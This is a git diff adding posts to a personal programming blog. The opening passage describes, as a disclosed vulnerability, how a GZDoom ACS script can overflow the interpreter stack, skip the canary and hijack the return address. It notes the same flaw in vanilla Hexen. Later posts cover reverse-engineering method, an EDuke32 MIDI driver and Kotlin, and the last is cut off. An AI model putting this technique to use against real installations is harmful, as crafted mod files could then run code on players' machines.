=PCD_PRINTNUMBER=, but something +that decrements the VStack pointer isn't desirable. Let me explain - the SStack +grows downwards on x86; that is, the SStack pointer starts at a very high +address and decreases as you push things onto the SStack. The VStack works in +the opposite direction: as you push things onto the VStack, the VStack pointer +increases. We want to traverse the SStack to the return address, which was +pushed before our script began execution, so we want an opcode that increments +the VStack pointer instead of one that decrements it. Fortunately, this isn't +difficult to find. + +#+BEGIN_SRC cpp :hl_lines 0 +case PCD_PUSHBYTE: + PushToStack (*(uint8_t *)pc); + pc = (int *)((uint8_t *)pc + 1); + break; +#+END_SRC + +Where =PushToStack= is a macro defined as: + +#+BEGIN_SRC cpp :hl_lines 0 +#define PushToStack(a) (Stack[sp++] = (a)) +#+END_SRC + +So the exploit /will/ overwrite the locals in the interpreter's stack frame, but +there's only really one variable we have to worry about borking, which I'll talk +about in a little bit. Let's jump in and craft a BEHAVIOR lump which calls +=PUSHBYTE= a bunch of times. + +#+CAPTION: A screenshot of my terminal showing an abrupt end to the debug prints I added for inspecting the absolute memory addresses of SStack and VStack. +[[./debug-prints.png]] + +We seem to end prematurely, which is because we hit the stack pointer. We will +have to modify our exploit to step over it somehow, which we can do by +overwriting the stack pointer to a value which points beyond it. Notice, +however, that =PUSHBYTE= increments the stack pointer by a whole four bytes. +When we push a byte, we're actually pushing a 4-byte integer with the high bytes +all set to 0, so we can't overwrite the stack pointer one "byte" at a time. +Fortunately, there is another ACS opcode, =PCD_PUSHNUMBER=, which pushes a full +4-byte integer. + +With some fiddling in GDB, we can find that the distance between the stack +buffer and where the return address is 4122 bytes. So we actually kill two birds +with one stone by smashing the stack pointer - the offset to the return address +is small enough that the desired stack pointer value fits into a 4 byte word. As +soon as we overwrite the stack pointer, we're at the return address. I suppose +maybe we killed three birds with one stone here, since we jumped over the stack +canary, too. Now we're at the fun part and can overwrite the return pointer with +another call or two to =PCD_PUSHNUMBER=. My exploit code writes +=0xdeadbeefcafebabe=, for the reason that it's recognizable in a stacktrace, but +theoretically you could overwrite the least significant bytes of the return +address and jump somewhere in GZDoom's =.text= segment, bypassing ASLR. + +We have complete control over the instruction pointer. Also, while I was +disclosing this to the development team, we discovered that vanilla Hexen has +this same arbitrary code execution vulnerability. No proof-of-concept yet. + +#+CAPTION: One of my posts in an internal discussion on the GZDoom forums regarding the same exploit existing in the vanilla Hexen code. +[[./vanilla-hexen-vulnerability.png]] diff --git a/posts/Bad BEHAVIOR/debug-prints.png b/posts/Bad BEHAVIOR/debug-prints.png Binary files differnew file mode 100644 index 0000000..538ccec --- /dev/null +++ b/posts/Bad BEHAVIOR/debug-prints.png diff --git a/posts/Bad BEHAVIOR/vanilla-hexen-vulnerability.png b/posts/Bad BEHAVIOR/vanilla-hexen-vulnerability.png Binary files differnew file mode 100644 index 0000000..510cf5f --- /dev/null +++ b/posts/Bad BEHAVIOR/vanilla-hexen-vulnerability.png diff --git a/posts/Decompilation By Hand/decompilation-by-hand.org b/posts/Decompilation By Hand/decompilation-by-hand.org new file mode 100644 index 0000000..6507189 --- /dev/null +++ b/posts/Decompilation By Hand/decompilation-by-hand.org @@ -0,0 +1,193 @@ +#+TITLE: Reverse Engineering By Hand +#+DATE: <2018-03-01 Thu> +#+TAGS: tutorial, reverse-engineering, x86, c, linux + +My capture-the-flag team played in the Insomni'hack teaser this year. During the +competition, I worked on a single challenge titled "sapeloshop." It was labeled +as "Medium-Hard," and it was in the binary exploitation category. The source +code for the server wasn't provided, so reverse engineering was necessary. I +don't think that having to reverse the binary was supposed to be the hard part, +as most of the behavior could have been inferred through some high-level +analysis, yet I spent nearly five hours fruitlessly trying to reverse it, and +the subsequent burnout was bad enough that I went home early. This wasn't the +first time a reversing task had gotten the best of me; there had been a few +competitions last year where I felt a similar loss in motivation. Noticing this +recurring pattern frustrated me, and that frustration drove me to think about +ways to improve myself as a reverse engineer. + +My initial idea was to work on expanding my skill set, but with some further +reflection, I came to the realization that the weakness was my process. I was +going at the task of reverse engineering without a plan: beginning by opening +the binary in radare, propagating from the entrypoint, and renaming a few +variables as I went along. I was trying to make sense of the program by +passively reading the disassembly listing. This /might/ work for someone who +lives and breathes assembly, but that certainly doesn't apply to me. What I +needed was a way to engage with the binary at hand beyond trying to passively +absorb it. + +With that, my first step was to come up with a more formally-defined idea of +what's involved in "reverse engineering." I still don't think I have anything +close to a complete description, but pondering on how reverse engineering tools +are designed certainly helped to solidify my existing understanding. Namely, I +was reminded of software suites advertised as "decompilers." They serve as a +stepping stone in an *iterative* process of turning machine code into something +that would be easier for a human to understand. They give an obviously +machine-generated C/C++ representation of the machine code, and the reverse +engineer continues by filling in the blanks with semantics. + +Now, I have a few issues with the idea of automated decompilation. For one, the +tooling simply isn't accessible. The only working decompiler I've used, IDA Pro, +is ridiculously expensive. Also, when I say, "working," I mean that it doesn't +segfault upon opening the binary. Even IDA Pro doesn't work perfectly in every +situation - especially those in which the binary has been intentionally +obfuscated. Because of this, there are arguments against the use of decompilers: +notably, [[https://blog.ret2.io/2017/11/16/dangers-of-the-decompiler/][this article]]. + +But the goal wasn't to have a program to do the work for us anyway, it was to +come up with a more effective methodology for reverse engineering a binary. +Unlike software, human reversers can adapt to the situation at hand - they don't +need rules defined in the same way that a computer would. As such, I've come up +with a protocol in a similar vein to [[https://en.wikipedia.org/wiki/SQ3R][SQ3R]] for reverse engineering machine code +to higher-level constructs. The protocol is still in its infancy, and I have +hopes to expand upon it in the future, but I have found it to still be quite +useful in its current state. + +I'd consider subroutines to be the fundamental atoms of a binary, and that's +what this protocol focuses on. However, being able to understand the subroutines +that compose a program doesn't necessarily imply an understanding of the whole +program. These are things that I hope to incorporate into the protocol in the +future, but for now, they are given as a handful of necessary precursors. + +For one, you should get a high-level understanding of what the program does. I +would recommend initially treating it as a black box: What does this program do? +Is it a web server? A crypto algorithm? I find that it's useful to copy down any +text that the program outputs, as you can use the string references later on +when you look at the machine code. You should also test plenty of inputs. What +does the program do for typical edge cases? What error handling does it do? This +might all seem extremely mundane, but if you understand the program at this +level, it gives you things to recognize in the disassembly listing. This is +absolutely essential when it comes to something more complicated than the toy +programs you might see in a capture-the-flag. I've been working a lot with the +Team Fortress 2 binaries recently, and understanding how and where certain +string references are used has given me a way to find just the functionality I'm +interested in, as opposed to trying to understand the entire 33 MB shared +object. + +That brings me to another point: you might not even need to reverse all of the +subroutines in the binary. In a binary exploitation challenge, it might make +sense to audit the seemingly mundane input-handling functions, but if you can +tell from the usage alone that all a subroutine does is print something, it +probably isn't worth your time to disassemble it. Remember, you can always come +back to something later, but if you waste your time on it, those are valuable +competition minutes that you'll never get back. + +Finally, this is more general, and it's something that I think every reverse +engineer knows, but it's worth mentioning regardless. If you don't know the ISA, +the architecture's calling conventions, or the quirks of the language design and +the compiler, it might be in your best interest to create a "lexicon" of +high-level constructs and how they're represented in assembly. There's +absolutely no shame in doing this, and it's been especially helpful for me when +I've looked at any binaries that were compiled with MSVC. One tool that I've +found useful for creating these lexicons is the [[https://godbolt.org/][Godbolt Compiler Explorer]]. + +Hopefully that wasn't too long of an introduction. Now we can get into the +protocol itself. It's composed of five steps and make up a mnemonic: "SCARS." +The first step is to "skim," or "scan." The premise is to first get an idea +which memory addresses the subroutine spans, or how long it is. I usually look +for the typical "function epilogue," which might include a stack canary check, +or it might just be a =pop %rbp; ret.= Then, get context. See where the +subroutine is called and how it's called - figure out if there are any arguments +to the subroutine, and see if it returns anything. Finally, look over the +disassembly listing for the routine, paying attention to the use of stack +variables and global variables. Do any of those variables look like they might +be classes/structures? + +The second step is to "chunk." The first step should have given you a rough idea +of the control flow, but now you need to break the subroutine into smaller sets +of instructions that you can analyze. I usually separate based on whether or not +a set of instructions are skipped by a conditional jump. + +The third step is "arrange." Simply put, this involves taking your findings +about stack variables and such from the first step, and converting them to +declarations in the high-level language. I also like to make stubs for any other +subroutines that are called, since I'll probably be reversing those later +anyway. This third step also ties in with the fourth step, which is to +"recognize." This involves looking back on your lexicon of patterns, and +converting them to the high-level constructs that they represent. These two +steps are done simultaneously and are basically where you try to manually +decompile the chunks of machine code you plotted out in the previous step. + +The final step is to "simplify," which entails simplifying the resultant code +into something perhaps more understandable. For example, =1 << 4= is equivalent +to =1 * 2^4=, or just =4=. This also might be where you replace magic numbers +with constants. Whenever I see 0 passed to =read(3)=, I replace that with +=STDIN_FILENO=. + +I spent a little under twenty minutes last night reversing the binary from the +challenge I mentioned at the beginning of this post. That's not a lot of time +compared to how much I spent during the competition, and I got surprisingly far +(almost all of main!) If this were the competition, however, I would have done +it differently. Instead of starting at main, I would have probably started at +one of the functions for handling input and went backwards by checking for +XREF's. I only did it this way to test out the protocol for something I had +difficulty with in the past. Here are a few of the highlights. If you want to +look on with me, all of the files for the challenge can be found [[https://github.com/DhavalKapil/ctf-writeups/tree/master/insomni-hack-18/sapeloshop][here]]. + +The most useful part about rewriting the program in C is the malleability of +text. When I was obtusely reading disassembly listings, keeping track of how +values were being juggled across registers was difficult for me. But by +representing these instructions in C, I can convert a few of them into an +expression, comment which register they're in, and come back to use that +expression later. This is more useful when the juggling spans a large number of +instructions, but here's a smaller example where I still used it. The +disassembly at =0x1e15= is + +#+BEGIN_SRC asm +0x00001e15 488d8550b7ff. leaq -0x48b0(%rbp), %rax +0x00001e1c 488d90080400. leaq 0x408(%rax), %rdx +0x00001e23 488b8540b7ff. movq -0x48c0(%rbp), %rax +0x00001e2a 488d35bf0800. leaq str.User_Agent:__128, %rsi ; 0x26f0 ; "User-Agent: %128[^\r\n]\r\n" +0x00001e31 4889c7 movq %rax, %rdi +0x00001e34 b800000000 movl $0, %eax +#+END_SRC + +I had previously made a variable for =-0x48b0(%rbp)= during my "arrange" step, +temporarily named =local_48b0= until I figured out its usage and a better name +for it. Just from these six instructions, I can tell that it's a buffer of some +sort, so I started off with: + +#+BEGIN_SRC c +((void *) local_48b0); // rax +#+END_SRC + +Then, I handled the pointer arithmetic in the second instruction, and the third +instruction, since it replaced the value in =%rax=: + +#+BEGIN_SRC c +(void *) (((char *) (local_48b0)) + 0x408); // rdx +*((uint64_t *) local_48b0); // rax +#+END_SRC + +Ew. It's starting to look like some system programmer's personal Lisp dialect +now. Don't worry. It's gross now, but as you understand more of the subroutine, +you'll be able to declare variables in such a way that you won't need casts like +these. That's where the "simplify" step comes into play. + +Also, I should mention that you don't necessarily have to reverse the chunks you +came up with in a linear fashion. I saw a chunk with two calls to some +=__errno_location=, which I didn't want to deal with at the time, so I just went +on to the next chunk. Again, you can come back to stuff later, but this does +mean you need to keep track of which chunks you've covered. + +One thing I've done in the past with this protocol is to keep a little ASCII +drawing of the stack layout. It doesn't make a whole lot of sense here, since +there aren't any pushes or pops that would change the size of the stack frame, +but maybe you'll find it useful for 32-bit binaries. + +Oh, and one last thing. Not everything is worth adding into your decompilation. +For example, if I saw a timer being set up with =alarm(3)=, I would probably +ignore it. In fact, I'd patch it out, but that's a topic for another day. + +Any questions about things I mentioned in this post, or suggestions on how to +make it better? Both would be greatly appreciated. Contact info is on my +[[http://jakob.space][homepage]]. diff --git a/posts/Duke on Fluidsynth/duke-on-fluidsynth.org b/posts/Duke on Fluidsynth/duke-on-fluidsynth.org new file mode 100644 index 0000000..a86390f --- /dev/null +++ b/posts/Duke on Fluidsynth/duke-on-fluidsynth.org @@ -0,0 +1,179 @@ +#+TITLE: Duke on Fluidsynth +#+DATE: <2018-01-13 Sat> +#+TAGS: writeup, programming, video-games, audio, c++ + +My first experiences with Duke Nukem 3D were with EDuke32 ages ago. This was +back when I was running Windows Vista, and while my memory is a bit lacking, I +swear that I had working music then. Ever since I made the switch to Linux, I +haven't had working music playback in EDuke. Frustrated at the fact that my past +few years of Duke 3D have been devoid of all sound besides the screams of death +and Duke's trash talking, I've finally decided to troubleshoot it. + +My first hypothesis was that there was a build flag for music support, and that +the binaries for EDuke in my distribution's package repository were compiled +without it. This led me to look at the [[http://wiki.eduke32.com/wiki/Building_EDuke32_on_Linux][Linux build instructions]], which +specifically mention an =EDUKE32_MUSIC_CMD= environment variable for specifying +an external MIDI player to use. This tipped me off on the issue: my version of +EDuke couldn't play MIDI. This made sense, since all of the other game sounds +were working just fine. I set the TiMidity++ command-line tool as the external +MIDI player, as I've had luck using TiMidity++ with QZDoom, and it worked on the +first try. This victory was short-lived, however, as the game froze the second I +started up the first episode. I figured that EDuke was waiting on the TiMidity++ +process to die off, which is when I decided to crack open the source code. + +The code revealed that on Linux platforms, EDuke uses SDL2_Mixer for music +output. I'm mildly familiar with it; it's a wrapper around the SDL audio module, +providing loaders for several sound formats such as OGG and MIDI. Unfortunately, +it seems incapable of playing MIDI on my system. Some further research revealed +that for MIDI playback, SDL2_Mixer can use either FluidSynth, or an internal +version of TiMidity. This reminded me of an issue I had when I first installed +GZDoom on my machine: soundfonts. + +You're supposed to be able to specify a default soundfont for FluidSynth in +=/etc/conf.d/fluidsynth=, but in my experiences with the command-line tool, this +is ignored entirely. Similarly, a default soundfont can be specified in +=/etc/timidity++/timidity.cfg=, but the only things I've used that have +respected that are QZDoom and the TiMidity++ command-line tool. Compiling +SDL2_Mixer from source and forcing it to use the internal version of TiMidity +has the same issue as before. + +I suspect that the reason for this is the fragmentation of TiMidity releases. +SDL2_Mixer has an internal version of TiMidity. So does QZDoom. It seems to be +one of those libraries that just gets copied into version control because it's +small enough, like that Vorbis decoder by RAD Game Tools. This has the +consequence that it will almost never be updated, and you may have several +programs using different, incompatible versions of it. In the case of QZDoom, +the copyright header in =timidity.cpp= is dated 1995. + +I looked at [[http://libtimidity.sourceforge.net/][libTiMidity]] in hopes of debugging the issue, which is when I +realized that some versions of TiMidity literally do not support specifying a +default soundfont, which would explain why SDL2_Mixer is dead silent. + +#+CAPTION: This is a pretty overdue feature, guys. +#+BEGIN_SRC c :hl_lines 0 +else if (!strcmp(w[0], "soundfont") || + !strcmp(w[0], "font")) +{ + /* "soundfont" sf_file "remove" + * "soundfont sf_file ["order=" order] ["cutoff=" cutoff] + * ["reso=" reso] ["amp=" amp] + * "font" "exclude" bank preset keynote + * "font" "order" order bank preset keynote + */ + DEBUG_MSG("FIXME: Implement \"%s\" in TiMidity config.\n", w[0]); +} +#+END_SRC + +Alright, so TiMidity isn't the way to go at all, and FluidSynth has issues +specifying a default soundfont via configuration files, but perhaps the +FluidSynth /API/ exposes a means of specifying a soundfont. Fortunately, this +was easy to check as FluidSynth has the best documentation I've ever seen from a +library written in C. The developer documentation is rich with examples, and one +of them even involves what we're looking for. Loading a soundfont with +FluidSynth turns out to be as easy as calling =fluid_synth_sfload=. + +Writing a drop-in replacement for the SDL2_Mixer MIDI driver is uncomplicated +because Duke3D maintains a structured API for its music drivers. There are two +drivers in the source tree, currently: the original Apogee Sound System +implementation (=source/duke3d/src/music.cpp=), and the reimplementation using +SDL2_Mixer (=source/duke3d/src/sdlmusic.cpp=). To make things simple, we'll just +replace =sdlmusic.cpp= and define the following routines: + +- =const char *MUSIC_ErrorString(int32_t ErrorNumber)= +- =int32_t MUSIC_Init(int32_t SoundCard, int32_t Address)= +- =int32_t MUSIC_Shutdown(void)= +- =void MUSIC_SetVolume(int32_t volume)= +- =int32_t MUSIC_GetVolume(void)= +- =void MUSIC_SetLoopFlag(int32_t loopflag)= +- =void MUSIC_Continue(void)= +- =void MUSIC_Pause(void)= +- =int32_t MUSIC_StopSong(void)= +- =int32_t MUSIC_PlaySong(char *song, int32_t loopflag)= +- =int32_t MUSIC_InitMidi(int32_t card, midifuncs *Funcs, int32_t Address)= +- =void MUSIC_Update(void)= + +The names are very descriptive in this case, and the routines themselves are +quite simple. Routines that return an =int32_t= are just returning an error code +(=MUSIC_Ok= or =MUSIC_Error=), with the exception of =MUSIC_GetVolume=, which +returns the volume on a scale of 0 to 255. In our case, most of these will be +stubs. For example, =MUSIC_Update= and =MUSIC_Continue= are irrelevant for +FluidSynth. + +Also, it's worth mentioning that the "song" parameter to =MUSIC_PlaySong= isn't +a filename, it's a pointer to an in-memory version of the MIDI file. FluidSynth +supports reading MIDI files from memory, but unlike SDL2_Mixer's in-memory MIDI +loader, the file's size has to be explicitly specified. I dug up a [[https://github.com/colxi/midi-parser-js/wiki/MIDI-File-Format-Specifications][specification +of the format]] and hacked together a little routine to figure out the size. It +isn't particularly important, but I wanted to mention it because it worked on +the first try, which warranted some celebration. + +#+BEGIN_SRC c :hl_lines 0 +char *tracks; +size_t file_size; +uint16_t num_tracks; + +tracks = song + 0x14; +num_tracks = *((uint16_t *) (song + 0x10)); +file_size = 0x14; // Size of the MIDI header. + +while (num_tracks--) { + uint16_t track_size; + + if (!memcmp(tracks, "MTrk", 4)) { + break; + } + + track_size = *((uint16_t *) (tracks + 0x04)); + file_size += track_size + 0x08; + tracks += track_size + 0x08; +} +#+END_SRC + +This all ended up being simple enough that I was able to get MIDI playback +working in under an hour on a Friday night. Yeah. I had some friends who wanted +to go out that night, but I stayed home and wrote a MIDI driver instead. (That +isn't the real reason, I'm not that much of a loser). + +Unfortunately, because I was just hacking it together quickly, the initial +implementation had a few issues: + +- No error reporting (=MUSIC_ErrorString= just returns "Nothing to see here...") +- Doesn't use modern C++, and only loosely follows the EDuke32 code style. +- Directly includes the FluidSynth headers, which seems to be a taboo in the + EDuke codebase. +- =MUSIC_StopSong will= shutdown and reinitialize the entire audio driver just + to flush whatever's currently playing out of the player. +- Replaces =sdlmusic.cpp=, instead of being an independent source file that can + be included at compile time. +- No volume controls. +- Soundfont and audio backend are hardcoded to my system. + +The first three were quite easy to fix, and as I don't have any plans to push +this upstream, they were really non-issues. The thing with =MUSIC_StopSong= is +also kind of a non-issue, as reinitializing the audio system is the only way to +flush the FluidSynth player right now. That fifth issue is also something I'm +not going to deal with unless someone confronts me about getting this included +upstream, because this is a lot easier to maintain as a drop-in replacement. + +Volume controls were extremely trivial to implement, as the only thing the +driver has to do is expose MUSIC_SetVolume. The routine receives a number on the +interval [0, 255], where 0 is the quietest, and 255 is the loudest. FluidSynth +provides a 'synth.gain' setting, which is essentially volume, but it instead +accepts numbers on the interval [0.0, 10.0]. + +The naive approach (which is what I did the first time around) is to multiply +the parameter by some scalar (10.0 / 255) to fit on the interval of [0.0, +10.0]. This was quite painful for my poor little ears. So I instead scaled the +number to fit on the interval of [0.0, 1.0]. + +Finally, specifying the soundfont is something I'll address in the future. My +patch adds some stuff to the EDuke options menu for specifying an audio backend +(alsa, pulse, etc), but I have yet to figure out how to make an option that's +stored as a string. + +If you want to check out my patchset, you can view the repository [[https://github.com/TsarFox/duke-on-fluidsynth][here]], and +here's a demo video: + +#+BEGIN_EXPORT html +<iframe class="peertube" width="560" height="315" sandbox="allow-same-origin allow-scripts" src="https://pe.ertu.be/videos/embed/136f144e-f089-4486-bc51-4e10233bcfcd" frameborder="0" allowfullscreen></iframe> +#+END_EXPORT diff --git a/posts/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org b/posts/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org new file mode 100644 index 0000000..75b7438 --- /dev/null +++ b/posts/First Impressions of the Kotlin Programming Language/first-impressions-of-the-kotlin-programming-language.org @@ -0,0 +1,494 @@ +#+TITLE: First Impressions of the Kotlin Programming Language +#+DATE: <2018-12-17 Mon> +#+TAGS: opinion, programming, java, kotlin, android + +In the introduction of the previous post I wrote for this series, [[http://jakob.space/posts/first-impressions-of-the-rust-programming-language/][First +Impressions of the Rust Programming Language]], I alluded to the presence of +arguments that programming language safety should be achieved by moving to +languages such as Java which run on a virtual machine. While "safety" may no +longer be the first thing that comes to mind in discussion of these languages, +especially with the hundreds[fn:1] of vulnerabilities in various implementations +of the Java virtual machine, it would be unfair to deny that the principle of +running programs in a sandboxed virtual machine is safer than running machine +code directly. This post won't be making any claims about safety, though, as I'm +more interested in writing about my impressions from a language design +perspective. So, how does Java fare in this regard? + +My first run-in with Java was when I was 16 and still in high school; I had +enrolled in AP computer science, of which the curriculum was and still is taught +using Java. I already knew Python and C at that point, but enrolled anyway as I +was never given a formal computer science education, and because the idea of +university credits was enticing to me. The portion of the class that regarded +concepts of computer science -- algorithm design and data structures -- was a +blast, but I quickly became frustrated with the programming assignments because +of Java's horribly unwieldy nature. Despite my distaste for the way the course +was taught, my grades stood out enough that the teacher approached me about +working as a teaching assistant the following year. I took him up on the offer, +and suffered. The position involved troubleshooting students' issues during lab +periods, and nearly every time I sat down to help a student, the issue was with +one of Java's numerous pitfalls rather than a conceptual misunderstanding of +computer science. At of the time of writing this, I have just completed my first +semester of university, and Java is apparently inescapable; I have been forced +to use it once more in my introductory data structures course. It has not grown +on me at all in these past three years, and I am not exaggerating when I say +that the language has literally given me nightmares. + +Refusing to use Java outside of my coursework would seemingly prevent me from +programming for any platform which makes use of Java, such as Android, but it +turns out that there's an alternative: using a language that compiles down to +the same bytecode as Java does. For those not in the know, Java works by +compiling source code ahead of time into a Java class file, which is a container +format for JVM bytecode. Bytecode is comparable to assembly, but it doesn't run +on actual hardware.[fn:2] Instead, it runs on an abstract machine implemented in +software. JVM bytecode as a compiler target is not a new concept; there are +plenty of languages targeting the JVM specifically, such as Groovy, Scala, and +Clojure (the latter of which I hope to cover in a future post), but Kotlin was +the first I heard of. + +While targeting Android is what I ended up using Kotlin for, my initial reason +for learning it was not nearly as practical. For context, I go between phases of +absolutely hating everything related to Java and phases of almost being able to +tolerate it, but that tolerance is mostly out of curiosity about the +implementation -- the most recent case of piqued interest coming about through +obtaining the J2ME JAR for [[https://en.wikipedia.org/wiki/Doom_RPG][Doom RPG]] and having an inclination to indulge in some +retro Java (circa JRE 1.3) reverse engineering. Really, I wanted to learn Kotlin +so that I could compare the bytecode generated by the Kotlin compiler to the +bytecode generated by past and present Java compilers,[fn:3] but I won't be +talking about that much in this post. + +Throughout this post, I'll be treating Kotlin as a language that only runs on +the JVM, but it's worth noting that the compiler has recently gained support for +targeting Javascript and LLVM as well, so this perspective doesn't fully +represent the language. + +As my first foray into writing nontrivial[fn:4] Kotlin, I decided to write a +version of Minesweeper, my favorite logic puzzle. The code is available on +[[https://git.sr.ht/~jakob/mines][sr.ht]]. Implementing Minesweeper might be a bit redundant as [[https://f-droid.org/en][F-Droid]] already has +a [[https://f-droid.org/en/packages/csd.qtproject.minesweeper][GPLv3'd implementation of Minesweeper]] in its repositories, but that one's +implemented in C++, QML, and Javascript. + +For the purposes of illustration, here's a simplified implementation of the +Minesweeper logic sans Android API: + +#+BEGIN_SRC kotlin :hl_lines 0 +data class Tile(val adjacentMines: Int = 0, val mine: Boolean = false, val masked: Boolean = true) + +/** + * The Minesweeper "grid", containing instances of [Tile]. + */ +class Grid(val width: Int, val height: Int, val tiles: Array<Tile>) { + constructor(width: Int = 8, height: Int = 8, mines: Int = 10) + : this(width, height, Array<Tile>(width * height) { Tile() }) { + for (i in 0 until mines) { + val x = (0 until width).random() + val y = (0 until height).random() + placeMine(x, y) + } + } + + private fun index(x: Int, y: Int) = y * width + x + private fun valid(x: Int, y: Int) = y in 0 until height && x in 0 until width + private fun place(x: Int, y: Int, tile: Tile) { + tiles[index(x, y)] = tile + } + + /** + * Returns the tile at the given coordinates. + * + * @throws IllegalArgumentException if the X coordinate is outside + * the range of [0, width), or if the Y coordinate is outside the + * range of [0, height). + */ + operator fun get(x: Int, y: Int) = if (valid(x, y)) { + tiles[index(x, y)] + } else { + throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") + } + + /** + * Places a mine at the given coordinates. + * + * @throws IllegalArgumentException if the X coordinate is outside + * the range of [0, width), or if the Y coordinate is outside the + * range of [0, height). + */ + fun placeMine(x: Int, y: Int) { + if (!valid(x, y)) { + throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") + } + + if (this[x, y].mine) { + return; + } + + place(x, y, Tile(mine = true)) + + val xMin = (x - 1).coerceAtLeast(0) + val xMax = (x + 1).coerceAtMost(width - 1) + val yMin = (y - 1).coerceAtLeast(0) + val yMax = (y + 1).coerceAtMost(height - 1) + + for (y in yMin..yMax) { + for (x in xMin..xMax) { + with (tiles[index(x, y)]) { + if (!mine) { + place(x, y, copy(adjacentMines + 1)) + } + } + } + } + } + + /** + * Reveals a tile at the given coordinates according to the game rules. + * + * @throws IllegalArgumentException if the X coordinate is outside + * the range of [0, width), or if the Y coordinate is outside the + * range of [0, height). + */ + fun reveal(x: Int, y: Int) { + if (!valid(x, y) || !this[x, y].masked) { + return; + } + + with (this[x, y]) { + place(x, y, copy(masked = false)) + + if (!mine && adjacentMines == 0) { + val xMin = (x - 1).coerceAtLeast(0) + val xMax = (x + 1).coerceAtMost(width - 1) + val yMin = (y - 1).coerceAtLeast(0) + val yMax = (y + 1).coerceAtMost(height - 1) + + for (y in yMin..yMax) { + for (x in xMin..xMax) { + reveal(x, y) + } + } + } + } + } + + override fun toString() = buildString { + for (y in 0 until height) { + for (x in 0 until width) { + val tile = this@Grid[x, y] + append(when { + tile.masked -> "." + tile.mine -> "M" + tile.adjacentMines == 0 -> " " + else -> tile.adjacentMines.toString() + } + " ") + } + append("\n") + } + } +} + +fun main(args: Array<String>) { + val grid = Grid() + + for (i in 0 until 9) { + val x = (0 until 8).random() + val y = (0 until 8).random() + grid.reveal(x, y) + println(grid) + } +} +#+END_SRC + +And just within the first line, we're introduced to a feature that provides +massive gains in readability over Java. Data classes. + +#+BEGIN_SRC kotlin :hl_lines 0 +data class Tile(val adjacentMines: Int = 0, val mine: Boolean = false, val masked: Boolean = true) +#+END_SRC + +In Java, if you want to group a few related values together, you'd probably +write a full implementation of a class with "getter" and "setter" methods, and +potentially other methods for things like testing for equality. That's a whole +new file (assuming that you want to use this structure between classes) and +several lines of code for something that should really be expressed in one line. +Kotlin allows for structures to be declared this way. Here, we define a =Tile= +structure, which acts as an immutable container for the information we want to +associate with a tile in the Minesweeper grid. The compiler automatically +derives methods to check for equality (=equals=), to create a unique hash code +(=hashCode=), to provide a string representation (=toString=), and to make a +copy of the structure. That last point on making copies brings me to another +feature of Kotlin that makes programming with immutable data structures a +breeze: named and optional parameters. Notice that there are default values in +the above declaration -- =adjacentMines= is 0, =mine= is false, and =masked= is +true. If I wanted to create a tile that was a mine, but was still masked, I +could simply call =Tile(mine = true)=. Java only supports positional +overloading, so in Java, it would be =new Tile(0, true)=, assuming that I had an +overloaded constructor with a default =masked= value. Returning to the point on +the automatically-generated =copy= method, the named and optional parameters +really shine here. Take a look at how it's used in the =reveal= method: + +#+BEGIN_SRC kotlin :hl_lines 0 +with (this[x, y]) { + place(x, y, copy(masked = false)) +#+END_SRC + +I should probably explain the =with= statement to fully unpack what's happening +here. =with= essentially allows us to run a block of code in the scope of an +object. =copy= is a method of =this[x, y]=, but we don't need to write =this[x, +y].copy= since we are in the class scope of =Tile= (the type of =this[x, y]=). + +The code for initializing a new =Grid= object does a nice job of illustrating +Kotlin's ranges. + +#+BEGIN_SRC kotlin :hl_lines 0 +for (i in 0 until mines) { + val x = (0 until width).random() + val y = (0 until height).random() + placeMine(x, y) +} +#+END_SRC + +Kotlin is similar to Python in that there are no longer C-styled for loops +(initialization + condition + afterthought). Instead, there are iterator-based +for loops, and enumeration is done with ranges. =a..b= represents the range of +integers from [a, b], and =a until b= represents the range from [a, b). Ranges +are also objects, which is why we can write something like =(0 until +width).random()=, which picks a random integer in the range [0, width). + +Another big feature is type inference, which eliminates another pain in reading +and writing Java. Take this facetious example: + +#+BEGIN_SRC java :hl_lines 0 +InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState myState = new InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState(); +#+END_SRC + +The class name shows up twice on the same line, which I personally think is +absurd. Is the type of =myState= really not obvious from the rvalue? + +#+BEGIN_SRC kotlin :hl_lines 0 +val myState = InternalFrameInternalFrameTitlePaneInternalFrameTitlePaneMaximizeButtonWindowNotFocusedState() +#+END_SRC + +Ah, much better. Of course, sometimes variables /need/ type information, such as +in the case of function parameters and return values. Actually, the type of a +return value can be inferred, too. This can be seen in the definitions of +=index= and =valid=. + +#+BEGIN_SRC kotlin :hl_lines 0 +private fun index(x: Int, y: Int) = y * width + x +private fun valid(x: Int, y: Int) = y in 0 until height && x in 0 until width +#+END_SRC + +Functions can be written this way if their body is a single expression, and the +compiler can infer the type of the return value from that expression. +Expressions are a big thing in Kotlin. =if= is an expression (which you can see in +the implementation of =get=), much like it is in Rust, as is =when= -- Kotlin's +replacement to Java's =switch= (which is sadly lacking in the way of +pattern-matching). Assignment, fortunately, is not an expression like it is in C +and Java.[fn:5] Here's an example of =when= used as an expression: + +#+BEGIN_SRC kotlin :hl_lines 0 +override fun toString() = buildString { + for (y in 0 until height) { + for (x in 0 until width) { + val tile = this@Grid[x, y] + append(when { + tile.masked -> "." + tile.mine -> "M" + tile.adjacentMines == 0 -> " " + else -> tile.adjacentMines.toString() + } + " ") + } + append("\n") + } +} +#+END_SRC + +This is yet another example of a function body being written as a single +expression. =buildString= is a function in the Kotlin standard library that takes +a lambda as a parameter,[fn:6] executes it in the context of a Java StringBuilder, +and returns the result of building that string. Kotlin provides a number of +facilities to make working with strings more pleasant, including string +interpolation: + +#+BEGIN_SRC kotlin :hl_lines 0 +val myNum = 7 +return "myNum is ${myNum}" // --> "myNum is 7" +#+END_SRC + +One last feature from the example above -- Kotlin supports operator overloading. +I'm sure that there was some rationale behind omitting operator overloading +from Java, but I'm a proponent of languages that offer support for it. Where the +operator overloading occurs in the example might not have been obvious, though. + +#+BEGIN_SRC kotlin :hl_lines 0 +operator fun get(x: Int, y: Int) = if (valid(x, y)) { + tiles[index(x, y)] +} else { + throw IllegalArgumentException("Invalid coordinates (${x}, ${y})") +} +#+END_SRC + +=get= corresponds to the indexing notation, which is why =this[x, y]= has shown +up a few times in the code. Yes, the indexing notation can take multiple +parameters. The 